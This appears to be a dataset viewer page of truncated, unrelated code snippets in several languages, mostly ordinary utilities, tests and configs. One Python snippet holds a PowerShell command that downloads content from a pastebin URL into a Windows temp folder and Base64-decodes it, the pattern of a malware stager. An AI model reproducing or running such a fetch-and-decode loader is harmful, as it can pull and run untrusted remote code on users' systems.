text stringlengths 1 1.05M |
|---|
import { JupWhereOperator, PropertyTypeJupValues, IJupWhereNode } from "./jup.models";
export function createFilter(operator: JupWhereOperator, column: string, value: PropertyTypeJupValues): IJupWhereNode {
return { operator, column, value };
}
|
package disasm
import (
"reflect"
"testing"
)
func TestParseOpcode(t *testing.T) {
modrmTests := []struct {
bs []byte
want *command
}{
// add
{[]byte{0x00, 0x00}, &command{mnem: add, l: 2, d: 0, w: 0}},
{[]byte{0x01, 0x00}, &command{mnem: add, l: 2, d: 0, w: 1}},
{[]byte{0x02, 0x00}, &command{mnem: ... |
<filename>okhelper/src/main/java/com/release/okhelper/utils/LoggingInterceptor.java
package com.release.okhelper.utils;
import android.util.Log;
import java.io.IOException;
import okhttp3.Interceptor;
import okhttp3.Request;
import okhttp3.Response;
/**
* @author Mr.release
* @create 2019/4/3
* @Describe
*/
pub... |
<gh_stars>0
package filters
import (
"sort"
"testing"
"github.com/abesto/easyssh/util"
)
func TestSupportedFilterNames(t *testing.T) {
expectedNames := []string{"coalesce", "first", "external", "ec2-instance-id", "list", "id"}
actualNames := SupportedFilterNames()
sort.Strings(expectedNames)
sort.Strings(act... |
package com.qiwen.leetcode._485;
/**
* 给定一个二进制数组, 计算其中最大连续1的个数。
*
* 示例 1:
*
* 输入: [1,1,0,1,1,1]
* 输出: 3
* 解释: 开头的两位和最后的三位都是连续1,所以最大连续1的个数是 3.
* 注意:
*
* 输入的数组只包含 0 和1。
* 输入数组的长度是正整数,且不超过 10,000。
*
* 来源:力扣(LeetCode)
* 链接:https://leetcode-cn.com/problems/max-consecutive-ones
* 著作权归领扣网络所有。商业转载请联系官方授权,非商业转载... |
#!/bin/sh
# This script updates all packages and reboots the system. Intended to be setup on a cron in the middle of the night
main() {
echo "Updating Linux... the system will reboot once complete."
update
}
update() {
sudo apt-get update
sudo apt-get upgrade
sudo reboot
}
main
|
#!/usr/bin/env bash
# nbdkit
# Copyright (C) 2018-2020 Red Hat Inc.
#
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the following conditions are
# met:
#
# * Redistributions of source code must retain the above copyright
# notice, this list of condition... |
public void drawLeadingMargin(Canvas c, Paint p, int x) {
Paint.Style style = p.getStyle();
int color = p.getColor();
p.setStyle(Paint.Style.FILL);
p.setColor(lineColor);
c.drawRect(x, 0, x + lineWidth, c.getHeight(), p);
p.setStyle(style);
p.setColor(color);
} |
import { NgModule } from '@angular/core';
import { TrainingComponent } from './training.component';
import { CurrentTrainingComponent } from './current-training/current-training.component';
import { NewTrainingComponent } from './new-training/new-training.component';
import { PastTrainingsComponent } from './past-t... |
# Exersie of "Deploying Virtual Cluster with Cloudmesh "
# Try to access a master node of your cluster. (Make a screenshot)
# Create a Virtual Cluster with 2 VMs. (Make a screenshot)
# Submit two screenshots
# Activate india
cm cloud on india
cm cloud select india
cm cloud default india
# default saetting
cm default... |
# ============================================================================
# Copyright (c) 2011-2012 University of Pennsylvania
# Copyright (c) 2013-2014 Andreas Schuh
# All rights reserved.
#
# See COPYING file for license information or visit
# http://opensource.andreasschuh.com/cmake-basis/download.html#license
... |
<filename>api/internal/utils/json_patch_test.go<gh_stars>100-1000
/*
* Licensed to the Apache Software Foundation (ASF) under one or more
* contributor license agreements. See the NOTICE file distributed with
* this work for additional information regarding copyright ownership.
* The ASF licenses this file to You ... |
<gh_stars>0
package io.github.brightloong.coding.interview.algorithms.utils; /******************************************************************************
* Compilation: javac StopwatchCPU.java
* Execution: none
* Dependencies: none
*
* A version of Stopwatch.java that measures CPU time on a single
* c... |
#!/bin/bash
cd .meteor/local
## declare an array variable
#declare -a files=("build" "bundler-cache" "cordova-build" "isopacks" "plugin-cache" "shell")
#we do not delete cordova-build/plugins as it is llong to download to speed up build
declare -a files=("build" "bundler-cache" "isopacks" "shell"\
... |
#!/bin/bash
#
# Copyright 2016 Google Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed ... |
import tweepy
# Set up API access for your application
consumer_key = "<your_consumer_key>"
consumer_secret = "<your_consumer_secret>"
access_token = "<your_access_token>"
access_token_secret = "<your_access_token_secret>"
# Create the API access object
auth = tweepy.OAuthHandler(consumer_key, consumer_secret)
auth.s... |
<reponame>KaiVolland/geoext2<filename>src/GeoExt/data/proxy/Protocol.js<gh_stars>0
/*
* Copyright (c) 2008-2015 The Open Source Geospatial Foundation
*
* Published under the BSD license.
* See https://github.com/geoext/geoext2/blob/master/license.txt for the full
* text of the license.
*/
/*
* @requires GeoExt/... |
#!/bin/bash
#
# Ensure zbackup-tar is in your path:
# export PATH=$PATH:/home/david/Projects/zbackup-tar
#
# Usage:
# test.sh /home/david/Projects/zbackup-tar/tests/testdata
SCRIPTNAME=`readlink -f $0`
export FUNCTIONROOT=`dirname $SCRIPTNAME`
export TMPDIR=/tmp/zbackup-tar/
export TESTDATA=$1
REFRESHCYCLES=5
TODO_BUG... |
python transformers/examples/language-modeling/run_language_modeling.py --model_name_or_path train-outputs/1024+0+512-rare/model --tokenizer_name model-configs/1536-config --eval_data_file ../data/wikitext-103-raw/wiki.valid.raw --output_dir eval-outputs/1024+0+512-rare/512+512+512-shuffled-N-1 --do_eval --per_device_e... |
<filename>ruby/spec/ruby/core/float/floor_spec.rb
require File.expand_path('../../../spec_helper', __FILE__)
describe "Float#floor" do
it "returns the largest Integer less than or equal to self" do
-1.2.floor.should eql( -2)
-1.0.floor.should eql( -1)
0.0.floor.should eql( 0 )
1.0.floor.should eql(... |
import pandas as pd
from sklearn.feature_extraction.text import TfidfTransformer
from sklearn.feature_extraction.text import CountVectorizer
# this is a very toy example, do not try this at home unless you want to understand the usage differences
docs1 = ["the house had a tiny little mouse",
"the cat saw the m... |
package parser
type String struct {
typeBase
}
func (t *String) Name() string {
return "string"
}
func (t *String) Layout() string {
return "string"
}
func (t *String) Tag() byte {
return tagString
}
func (t *String) IsBase() bool {
return true
}
func (t *String) BeKey() bool {
return true
}
func (t *Strin... |
export const FormatsData: {[k: string]: ModdedSpeciesFormatsData} = {
extremeribbit: {
tier: "OU",
doublesTier: "DOU",
},
}; |
#!/usr/bin/env bash
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
#... |
//
// Copyright (C) 2018 <NAME>
//
// @@ All Rights Reserved @@
// This file is part of the RDKit.
// The contents are covered by the terms of the BSD license
// which is included in the file license.txt, found at the root
// of the RDKit source tree.
//
#include <RDGeneral/export.h>
#ifndef __RD_TAUTOMER_CATALO... |
<filename>__tests__/shared/actions/index.js
/**
* Actions testing.
*/
import actions from 'actions';
test('Exports expected actions',
() => expect(actions).toMatchSnapshot());
|
package problems
import "math"
type (
// stockPrices is an array of stock prices at time i
stockPrices []int
)
func (in stockPrices) maxProfit() int {
n := len(in)
if n < 2 {
return 0
}
dp := make([]int, n)
dp[0] = 0
min := math.MaxInt32
for i := 1; i < len(in); i++ {
if in[i-1] < min {
min = in[i... |
def loss(cls_scores, bbox_preds, gt_bboxes, gt_labels, img_metas, gt_bboxes_ignore):
# Implement the loss function to calculate class and bounding box losses
# Your implementation may involve using specific loss functions such as cross-entropy for classification and smooth L1 loss for bounding box regression.
... |
from uvicore.contracts import Binding as BindingInterface
class Binding(BindingInterface):
pass
|
<filename>services/pusher.js
var sys = require('util');
var net = require('net');
var mqtt = require('mqtt');
var io = require('socket.io').listen(4000);
var client = mqtt.connect('mqtt://172.16.31.10');
io.sockets.on('connection',function (socket) {
socket.on('subscribe',function (data) {
... |
<reponame>huangbin082/Bin<filename>Algorithm/src/main/java/com/leetcode/Solution_862.java
package com.leetcode;
import java.util.LinkedList;
public class Solution_862 {
public int shortestSubarray(int[] nums, int k) {
int[] preSum = new int[nums.length + 1];
int sum = 0;
for (int i = 0; i ... |
#!/bin/bash
# Remove the log files that are older than 30 days
find /var/log/* -type f -mtime +30 -delete
|
package zio
import (
"fmt"
"io"
"net/http"
"strings"
"testing"
)
func TestDumpReader(t *testing.T) {
cases := []struct {
in io.ReadCloser
want string
}{
{
io.NopCloser(strings.NewReader("Hello")),
"Hello",
},
{
io.NopCloser(strings.NewReader("لوحة المفاتيح العربية")),
"لوحة المفاتيح الع... |
#!/usr/bin/env bash
PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin:~/bin
export PATH
#
# Auto install Shadowsocks Server (all version)
#
# Copyright (C) 2016-2019 Teddysun <i@teddysun.com>
#
# System Required: CentOS 6+, Debian7+, Ubuntu12+
#
# Reference URL:
# https://github.com/shadowsocks/shadows... |
<gh_stars>0
module ProviderInterface
class ApplicationStatusTagComponent < ViewComponent::Base
delegate :status, to: :application_choice
def initialize(application_choice:)
@application_choice = application_choice
end
def text
I18n.t!("provider_application_states.#{status}")
end
... |
<reponame>zonesgame/StendhalArcClient<gh_stars>1-10
/***************************************************************************
* (C) Copyright 2003-2016 - Marauroa *
***************************************************************************
************************************... |
#ifndef IBOutlet
#define IBOutlet
#endif
#ifndef IBAction
#define IBAction void
#endif
|
<filename>public/plugins/reportbro/src/commands/SetValueCmd.js
import Command from './Command';
import DocElement from '../elements/DocElement';
/**
* Command to set a single value of a data object.
* @class
*/
export default class SetValueCmd {
constructor(objId, tagId, field, value, type, rb) {
this.o... |
1. Design a REST API endpoint to generate a personalized greeting message.
2. Take the user name as an input parameter.
3. Construct an algorithm to generate the greeting message.
4. Format the output with appropriate grammatical rules and punctuation.
5. Validate the input and output types of the API. |
#!/bin/sh
set -e
if tmux has-session -t blog 2> /dev/null; then
tmux attach -t blog
exit
fi
tmux new-session -d -s blog -n editor
tmux send-keys -t blog:editor "v " Enter
tmux split-window -t blog:editor -h -p 10
tmux attach -t blog:editor.top
|
TERMUX_PKG_HOMEPAGE=https://www.dovecot.org
TERMUX_PKG_DESCRIPTION="Secure IMAP and POP3 email server"
TERMUX_PKG_VERSION=2.2.31
TERMUX_PKG_SRCURL=https://www.dovecot.org/releases/2.2/dovecot-$TERMUX_PKG_VERSION.tar.gz
TERMUX_PKG_SHA256=034be40907748128d65088a4f59789b2f99ae7b33a88974eae0b6a68ece376a1
TERMUX_PKG_MAINTAI... |
package com.vmware.spring.workshop.facade.support.impl;
import java.beans.IntrospectionException;
import org.springframework.stereotype.Component;
import com.vmware.spring.workshop.dto.user.UserDTO;
import com.vmware.spring.workshop.facade.support.UserDTOImportExport;
/**
* @author lgoldstein
*/
@Component("userD... |
export { default } from "./AddPetPage";
|
#!/bin/bash
#SBATCH -J vis -p development -N 1 --ntasks-per-node 56 -t 2:00:00 -A AST21002
source $HOME/.bashrc
python ~/scripts/CrunchSnaps/scripts/make_movie_from_camerafile.py camerafile.txt ../../M2e4_R10_S0_T1_B0.01_Res271_n2_sol0.5_42/output --np=14 --np_render=4 --res=1920 --no_timestamp --fresco_stars
|
<gh_stars>1-10
module GoalsHelper
def goal_text(goal)
"I'll #{goal.message} #{number_with_delimiter(goal.number)} #{goal.message2} in 2009. Currently #{goal.current}"
end
end
|
#!/bin/bash
rustc --emit mir -Z mir-opt-level=3 - <<EOF
// build-pass
#![allow(dead_code)]
trait Foo {
fn foo(&self);
}
fn foo<'a>(s: &'a mut ()) where &'a mut (): Foo {
s.foo();
}
fn main() {}
EOF
|
const base = '../api/sentinl';
export default {
WATCHER_EDIT: {
COUNT: `${base}/watcher/editor/count`,
AVERAGE: `${base}/watcher/editor/average`,
SUM: `${base}/watcher/editor/sum`,
MIN: `${base}/watcher/editor/min`,
MAX: `${base}/watcher/editor/max`,
},
ES: {
ALL_INDEXES: `${base}/es/inde... |
var _Page;
function _defineProperty(t, e, o) {
return e in t ? Object.defineProperty(t, e, {
value: o,
enumerable: !0,
configurable: !0,
writable: !0
}) : t[e] = o, t;
}
var utils = require("../../../utils/helper.js");
Page((_defineProperty(_Page = {
data: {
groupF... |
#!/bin/bash
set -v -e
for i in src/*.res* __tests__/*.res; do
./node_modules/.bin/bsc -format $i > $i.out
mv $i.out $i
done
|
<reponame>zolboo-gtn/stackoverflow_demo
import { Prisma, Role } from "@prisma/client";
import { IsEmail, IsNotEmpty, Matches } from "class-validator";
export class CreateUserDto
implements Pick<Prisma.UserCreateInput, "email" | "name" | "role">
{
@IsEmail()
readonly email: string;
readonly name?: string;
r... |
package com.datafari.ranking.configuration;
import java.io.IOException;
import javax.inject.Inject;
import org.springframework.beans.factory.annotation.Value;
import org.springframework.context.ApplicationContext;
import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Compo... |
#!/bin/bash
# A little bit of scripting magic so that whatever directory this script is
# run from, we always find the python scripts and data we need.
cd "$(dirname "$0")"
cwd=`pwd`/..
cd ${cwd}
# Activate python virtual environment
source ../../../../virtualenv/bin/activate
# Now do some work
mkdir -p ../../../out... |
#!/bin/sh
set -e
ROOTDIR=dist
BUNDLE=${ROOTDIR}/ALMEX-Qt.app
CODESIGN=codesign
TEMPDIR=sign.temp
TEMPLIST=${TEMPDIR}/signatures.txt
OUT=signature.tar.gz
if [ ! -n "$1" ]; then
echo "usage: $0 <codesign args>"
echo "example: $0 -s MyIdentity"
exit 1
fi
rm -rf ${TEMPDIR} ${TEMPLIST}
mkdir -p ${TEMPDIR}
${CODESI... |
#!/bin/bash
set -e # Exit with nonzero exit code if anything fails
rm -rf ./generated
mkdir -p ./generated/loaders
cp -rf ./src/content/loaders/ ./generated/loaders
mkdir -p ./generated/plugins
cp -rf ./src/content/plugins/ ./generated/plugins
fetchPackages() {
# Fetch webpack-contrib (and various other) loader rep... |
<html>
<head>
<title>Signup Form</title>
</head>
<body>
<form action="/action_page.php">
<label for="username">Username:</label><br>
<input type="text" id="username" name="username" placeholder="Enter your username"><br>
<label for="email">Email:</label><br>
<input type="text" id="email" name="email... |
<filename>lang/py/rfc/06/page.py
#!/usr/bin/env python3
# -*- coding:utf-8 -*-
# 验证闭包在惰性求值时的作用
try:
from urllib import urlopen
except:
from urllib.request import urlopen
def page(url):
def get():
return urlopen(url).read()
return get
|
require 'rails_helper'
RSpec.describe DownloadsController, type: :controller do
describe '#index' do
subject { get :index }
it { expect(response.status).to eq(200) }
it { is_expected.to render_template(:index) }
it_behaves_like 'disallows untrusted ips'
end
end
|
<filename>src/app/app.router.ts
import { ModuleWithProviders } from '@angular/core';
import { Routes, RouterModule } from '@angular/router';
import AppComponent from './app.component';
import MainPageComponent from './main-page/main-page.component';
import TrendingComponent from './trending/trending.component';
import... |
#!/usr/bin/env bash
set -e
# setting up colors
BLU='\033[0;34m'
YLW='\033[0;33m'
GRN='\033[0;32m'
RED='\033[0;31m'
NOC='\033[0m' # No Color
echo_info() {
printf "\n${BLU}%s${NOC}" "$1"
}
echo_step() {
printf "\n${BLU}>>>>>>> %s${NOC}\n" "$1"
}
echo_sub_step() {
printf "\n${BLU}>>> %s${NOC}\n" "$1"
}
echo_... |
<filename>src/router.js
import React from 'react';
import { Router, Route, Switch } from 'dva/router';
import dynamic from 'dva/dynamic';
import IndexPage from './routes/IndexPage';
function RouterConfig({ app, history }) {
return (
<Router history={history}>
<Switch>
<Route path="/" exact componen... |
<gh_stars>0
/*
* Copyright © 2019 <NAME>, Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License"); you may not
* use this file except in compliance with the License. You may obtain a copy of
* the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or... |
onedata = str('&wc = new-object System.Net.WebClient\n\n$wc.DownloadString("http://pastebin.com/raw/MLpLWsgW") | out-file c:\Windows\\temp\henneko.txt\n\n$File = Get-Content -Path "C:\Windows\Temp\henneko.txt"\n\nWrite-Host $File\n\n$enc = [System.Text.Encoding]::UTF8\n$string = $enc.GetString([System.Convert]::FromBas... |
#https://medium.com/@xpl/protecting-python-sources-using-cython-dcd940bb188e
import setuptools # important
from distutils.core import Extension, setup
from Cython.Build import cythonize
from Cython.Distutils import build_ext
#cimport numpy as np
import numpy
# define an extension that will be cythonized and comp... |
#!/usr/bin/env bash
# Copyright (c) Facebook, Inc. and its affiliates.
#
# This source code is licensed under the MIT license found in the
# LICENSE file in the root directory of this source tree.
# Set-up the dependencies necessary to build and run Redex on Ubuntu 16.04
# Xenial, using APT for software management.
#... |
import { Point } from './AffinaMatrix';
export default class BoundaryPlate {
x: number;
y: number;
width: number;
height: number;
gridSize: number;
pixelSizeX: number;
pixelSizeY: number;
centerX: number;
centerY: number;
constructor(x: number, y: number, width: number, height... |
#!/bin/bash
# Runs gitlab-ci locally
# For some reason there isn't a convenient command for running
# all jobs in the proper order (build -> test), hence this script.
set -e
for t in buster focal stretch bionic bullseye
do
gitlab-ci-multi-runner exec shell build:$t && gitlab-ci-multi-runner exec shell test:$t || (ech... |
<gh_stars>0
package org.hisp.dhis.importexport.xml;
/*
* Copyright (c) 2004-2005, University of Oslo
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions are met:
* * Redistributions of source code must ... |
import '@testing-library/jest-dom/extend-expect';
import { createForm } from 'felte';
import type { ValidationFunction } from '@felte/common';
import { validateSchema, validator } from '../src';
import type { ValidatorConfig } from '../src';
import * as zod from 'zod';
import { get } from 'svelte/store';
describe('Val... |
def group_similar_items(list):
grouped_items = {}
for item in list:
if item in grouped_items:
grouped_items[item] += 1
else:
grouped_items[item] = 1
print(grouped_items)
group_similar_items(["dog", "cat", "cat", "fox", "dog", "elephant"])
# Output: {'dog': 2,... |
#!/bin/bash
[ -f $HOME/create-daml-app/target/create-daml-app.dar ] && echo "done"
|
<reponame>muthukumaravel7/armnn
var NAVTREEINDEX46 =
{
"classarmnn_1_1profiling_1_1_command_handler.xhtml#a5f937b7610842eb70d0376221da7bb07":[7,0,0,2,5,1],
"classarmnn_1_1profiling_1_1_command_handler.xhtml#a602f1b64401712a87c2ef276f469368d":[7,0,0,2,5,0],
"classarmnn_1_1profiling_1_1_command_handler.xhtml#aa2a07b97153... |
#!/bin/bash
VERSION="0.1"
AUTHOR="Matteo Mattei <info@matteomattei.com>"
is_installed()
{
dpkg -l "${1}" > /dev/null 2>&1
return ${?}
}
pretty_echo()
{
echo -e "\e[1;32m${1}\e[0m"
}
select_yes()
{
MESSAGE="${1}"
while true; do
pretty_echo "\n${MESSAGE} [Y|n]"
read RES
cas... |
;
var index_info_ops = {
page_size: 10,
data: {},
init: function () {
this.eventBind();
Pagination.init($("#pageBar"), index_info_ops.pageChange);
},
click_delete: function (a) {
console.log(a);
},
pageChange: function (i) {
index_info_ops.createTableHtml(i);
... |
<gh_stars>0
const router = require('express').Router()
const {Recipe, Cuisine, Course} = require('../../db/models')
module.exports = router
router.get('/', async (req, res, next) => {
try {
let recipes = await Recipe.findAll()
res.json(recipes)
} catch (error) {
console.log(error)
}
})
router.get('/... |
import React from 'react';
import axios from 'axios';
import callApi from './apiUtils';
import Skycons from 'react-skycons';
class Weather extends React.Component {
constructor() {
super();
this.state = {
data : [],
city : "",
state : "",
... |
import Meta from 'vue-meta'
import VueRouter from 'vue-router'
import Vuex from 'vuex'
import compA from './vue/_template'
// 通常
Vue.component('comp-a', compA)
/**
* ルーター導入
* Usage: npm i -D vue-router
*/
Vue.use(VueRouter)
/**
* ストア導入
* Usage: npm i -D vuex
*/
Vue.use(Vuex)
/**
* Metaの導入
* Usage: npm i -D ... |
/**
* The type of header being used.
*/
export enum HeaderType {
None,
Text,
Select
} |
#!/bin/bash
mkdir -p "$PREFIX/bin"
if [ "$(uname)" == "Darwin" ]; then
cp chainToPsl "$PREFIX/bin"
else
export MACHTYPE=x86_64
export BINDIR=$(pwd)/bin
mkdir -p "$BINDIR"
(cd kent/src/lib && make)
(cd kent/src/htslib && make)
(cd kent/src/jkOwnLib && make)
(cd kent/src/hg/lib && make)
... |
<filename>chap02/endian_test.c
#pragma clang diagnostic push
#pragma clang diagnostic ignored "-Wformat"
#pragma clang diagnostic ignored "-Wunknown-pragmas"
#pragma ide diagnostic ignored "UnreachableCode"
/*
* endian_test.c (c) 2018-20 <NAME>
*/
#include <stdio.h>
#include <stdint.h>
int main() {
uint64_t son... |
/*
* Module : firefox/firefox-injected-compute.js
* Copyright : (c) 2011-2012, Galois, Inc.
*
* Maintainer :
* Stability : Provisional
* Portability: Not Portable (Firefox only)
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the L... |
/*
Jameleon - An automation testing tool..
Copyright (C) 2006 <NAME> (<EMAIL>)
This library is free software; you can redistribute it and/or
modify it under the terms of the GNU Lesser General Public
License as published by the Free Software Foundation; either
version 2.1 of the License, or... |
/*
* To change this template, choose Tools | Templates
* and open the template in the editor.
*/
package org.fhwa.c2cri.testprocedures.ntcip2306;
import java.sql.ResultSet;
import java.util.ArrayList;
import tmddv3verification.utilities.TMDDDatabase;
/**
*
* @author TransCore ITS
*/
public class NTCIP2306Specif... |
/* - Coeus web framework -------------------------
*
* Licensed under the Apache License, Version 2.0.
*
* Author: <NAME>
*/
package com.tzavellas.coeus.validation.bean
import java.util.Locale
import org.junit.Test
import org.junit.Assert._
import com.tzavellas.coeus.bind.{ BindingResult, Error }
import com.tzave... |
// JavaScript program for calculating the Fibonacci number of a given index
function fibonacci(n) {
let memo = [0, 1];
let fib = n => {
if (memo[n] != null) return memo[n];
return memo[n] = fib(n-1) + fib(n-2);
};
return fib(n);
} |
The search engine should be built using an index data structure, such as a trie or hash table, to store each word in the website. The search engine should scan and store all of the words in the website in its data structure. When a user enters a query, the search engine should search its data structure for the words in... |
#!/bin/sh
umask 0000
cd /var/www
# php artisan migrate:fresh --seed
php artisan cache:clear
php artisan route:cache
php artisan storage:link
#php artisan migrate
#php artisan schedule:work
/usr/bin/supervisord -c /etc/supervisord.conf
|
from urllib.parse import urlparse, parse_qs
class URLRequest:
def __init__(self):
self._url = None
@property
def url(self):
if self._url:
return self._url.geturl()
return None
@url.setter
def url(self, value):
self._url = urlparse(value)
@property
... |
<reponame>EgorSoroka/job4j
package ru.job4j.figures;
/**
* Рисует квадрат.
* @author <NAME> ( https://vk.com/id428714363)
* @version 1.0
* @since 19.06.19
*/
public class Square implements Shape {
/**
* Рисует квадрат.
* @return квадрат.
*/
@Override
public String draw() {
... |
#! @runtimeShell@
if [ -x "@runtimeShell@" ]; then export SHELL="@runtimeShell@"; fi;
set -e
set -o pipefail
export PATH=@path@:$PATH
showSyntax() {
exec man nixos-rebuild
exit 1
}
# Parse the command line.
origArgs=("$@")
extraBuildFlags=()
lockFlags=()
flakeFlags=()
action=
buildNix=1
fast=
rollback=
up... |
Pencil.dragObserverClasses = [];
Pencil.registerDragObserver = function (observerClass) {
Pencil.dragObserverClasses.push(observerClass);
};
Pencil.installDragObservers = function (canvas) {
for (var factory in Pencil.dragObserverClasses) {
var constructorFunction = Pencil.dragObserverClasses[factory];
... |
<gh_stars>0
public class FirstBlood {
public static int count = 0;
public static void main(String args[]) {
int numberofThreads = 10000;
A[] threads = new A[numberofThreads];
for (int i = 0; i < numberofThreads; i++) {
threads[i] = new A();
threads[i].start();
... |
<filename>src/main/java/malte0811/controlengineering/blockentity/panels/PanelCNCBlockEntity.java
package malte0811.controlengineering.blockentity.panels;
import blusunrize.immersiveengineering.api.utils.CapabilityReference;
import com.google.common.collect.ImmutableList;
import malte0811.controlengineering.blockentity... |
#!/usr/bin/env bash
runfile="$1"
distro="$2"
topdir="$HOME/nvidia-settings"
epoch="3"
[[ -n $OUTPUT ]] ||
OUTPUT="$HOME/rpm-nvidia"
[[ -n $distro ]] ||
distro=$(git rev-parse --abbrev-ref HEAD 2>/dev/null)
[[ $distro == "main" ]] && distro="rhel8"
drvname=$(basename "$runfile")
arch=$(echo "$drvname" | awk -F "-" '... |
# Batch running of Event Processing Agents (EPA) with test files
# By mikko.rinne@aalto.fi 20.1.2016
# Each individual EPA and the combination of all EPAs is executed on 1000 events
# Modify as needed to run other event files
echo -e "\n\n\nEPA1 (Stateless filter)"
./EPArun.sh EPA1 1000events
echo -e "\n\n\nEPA2 (S... |
a = [[1, 2], [3, 4], [5, 6]]
def row_sum(arr)
result = []
arr.each do |subarr|
result << subarr.inject(0) { |sum, n| sum + n }
end
result
end
p row_sum(a) |
<reponame>Justice-love/tiger
/**
*
* @creatTime 下午8:11:12
* @author Eddy
*/
package tiger.test.superinject;
import javax.inject.Named;
/**
* @author Eddy
*
*/
@Named("phoenix")
public class Phoenix extends Animal {
public void phoenix() {
cow.cow();
}
}
|
#!/bin/bash
/usr/local/bin/metadata_svc_bugfix.sh
/usr/local/bin/file_edit_patch.sh
|
package io.opensphere.controlpanels.layers.base;
/**
* Interface to an object which will ask the user yes questions and return the
* user response.
*
*/
@FunctionalInterface
public interface UserConfirmer
{
/**
* Asks the user the specified question.
*
* @param question The question... |
#!/bin/sh
# file: simulate_vcs.sh
#
# (c) Copyright 2008 - 2011 Xilinx, Inc. All rights reserved.
#
# This file contains confidential and proprietary information
# of Xilinx, Inc. and is protected under U.S. and
# international copyright and other intellectual property
# laws.
#
# DISCLAIMER
# This disclaimer is not... |
package com.roadrover.btservice.bluetooth;
import android.os.Parcel;
import android.os.Parcelable;
import android.text.TextUtils;
/**
* 蓝牙电话本,通话记录, 传递数据类
*/
public class BluetoothVCardBook implements Parcelable {
/**
* 编码类型
*/
public String codingType;
/**
* 名字
*/
public Strin... |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.